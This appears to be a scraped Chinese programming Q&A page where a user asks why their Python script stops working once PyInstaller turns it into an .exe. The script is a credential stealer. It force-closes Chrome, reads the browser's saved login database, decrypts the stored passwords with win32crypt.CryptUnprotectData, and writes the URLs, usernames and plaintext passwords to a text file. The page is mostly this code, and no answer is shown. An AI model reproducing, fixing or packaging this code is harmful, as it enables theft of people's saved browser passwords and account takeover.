首页 > 解决方案 > 无法将脚本作为 .exe 运行,但它作为 py 文件正常运行

问题描述

我下载了 pyinstaller 以便将我的 python 脚本转换为可执行程序。当我将我的代码作为 python 文件运行时,第三行只有一个错误import win32crypt,它显示了这一点'error unresolved import 'win32crypt',但它工作正常。但是当我将脚本转换为应用程序(.exe 文件)时它不起作用(没有任何错误消息)。我的脚本是从 Google Chrome 电子邮件/密码复制的,然后将这些信息粘贴到 txt 文件中。

我已经使用以下命令从控制台安装了 pywin32:pip install pywin32.\

这是我的代码

import os
import sqlite3
import win32crypt

f= open("logins.txt","w")

def closeChrome():
    os.system("taskkill /im chrome.exe /f")
def connectDb():
    dBpath=os.path.expanduser("~")+r'\AppData\Local\Google\Chrome\User Data\Default\Login Data'
    connectionObj=sqlite3.connect(dBpath)
    cursorObj=connectionObj.cursor()
    statement="SELECT origin_url,username_value,password_value FROM logins"
    cursorObj.execute(statement)
    data=cursorObj.fetchall()
    for url,username,password in data:
        password=win32crypt.CryptUnprotectData(password)
        f.write(f"url: {url},  username: {username},  password: {password[1].decode('utf-8')}\n")
        print(f"url: {url},  username: {username},  password: {password[1].decode('utf-8')}\n") 
        print(".................................")


closeChrome()    
connectDb()

谢谢 :)

标签: pythonpywin32

解决方案


推荐阅读